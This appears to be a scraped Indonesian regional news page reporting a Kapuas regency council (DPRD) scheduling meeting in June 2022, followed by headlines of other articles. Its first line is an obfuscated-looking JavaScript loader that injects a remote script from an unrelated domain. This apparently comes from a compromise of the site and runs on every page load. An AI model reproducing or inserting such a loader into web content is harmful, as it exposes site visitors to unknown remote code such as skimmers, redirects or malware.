(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KUALA KAPUAS – Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah (Banmus) untuk menyusun jadwal dan agenda kegiatan.
Rapat Banmus berlangsung di ruang rapat gabungan DPRD Kapuas, Selasa (7/6/2022), dipimpin Ketua DPRD Kapuas, Ardiansah didampingi Waket I Yohanes, diikuti bersama sejumlah anggota dewan lainnya.
Dari pihak eksekutif dihadiri Sekretaris Daerah Drs Septedy, Kepala Bappeda AM Saribi beserta jajaran.
“Hari ini rapat Banmus, jadwal IV kegiatan DPRD Kapuas masa persidangan III tahun sidang 2022,” kata Ardiansah.
“Ada sejumlah agenda kegiatan yang telah disusun,” tambahnya.
Baca juga : Ponpes Darul Hijrah Putri Berbenah Sambut Santriwati Baru
Salah satu agenda yang telah dijadwalkan dalam rapat Banmus itu, diataranya kunjungan kerja keluar daerah oleh Komisi-Komisi.
Kemudian ada rapat paripurna penyampaian pidato pengantar Bupati Kapuas tentang Raperda pertanggungjawaban pelaksanaan APBD tahun 2021 serta sejumlah agenda lainnya. (Kanalkalimantan.com/ags)
Reporter : ags
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More
KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More
This website uses cookies.